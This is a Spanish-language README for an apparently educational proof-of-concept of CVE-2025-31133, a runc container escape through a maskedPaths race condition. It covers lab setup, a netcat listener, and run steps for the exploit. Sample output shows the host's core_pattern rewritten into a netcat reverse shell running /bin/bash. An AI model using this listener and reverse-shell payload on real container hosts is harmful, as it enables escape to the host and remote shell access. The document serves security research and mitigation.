
Prueba de concepto educativa para CVE-2025-31133, un escape de contenedor de runc mediante una condición de carrera en maskedPaths. Incluye configuración de laboratorio, script de explotación y guía de mitigación para investigadores de seguridad.
Una demostración de prueba de concepto y un entorno de aprendizaje para CVE-2025-31133, una vulnerabilidad de seguridad en runc que permite eludir la protección maskedPaths mediante una condición de carrera. Los maskedPaths están diseñados para evitar que los contenedores accedan a rutas sensibles del sistema de archivos del host.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 Este repositorio es un ejemplo práctico de la mentalidad y las técnicas de investigación exactas que se enseñan en el entrenamiento de Black Hat:
El exploit aprovecha una condición de carrera donde:
maskedPaths para proteger archivos sensibles (p.ej., /proc/sys/kernel/core_pattern)/dev/null) en el rootfs del contenedorEste repositorio es solo para fines educativos.
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
El script lab-setup.sh hará lo siguiente:
chmod +x lab-setup.sh
./lab-setup.sh
Verifica que la versión vulnerable de runc esté instalada:
runc --version
Deberías ver la versión 1.2.0 o similar.
nc -lnvp <PORT>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
En caso de éxito, deberías ver:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
Se debería establecer una conexión reverse shell a tu listener.
Para protegerse contra esta vulnerabilidad:
core_pattern original después de una explotación exitosaEste proyecto se proporciona con fines educativos. Úselo de manera responsable y ética.
Recuerda: Siempre usa las herramientas de investigación de seguridad de manera responsable y solo en entornos que poseas o para los que tengas permiso explícito para probar.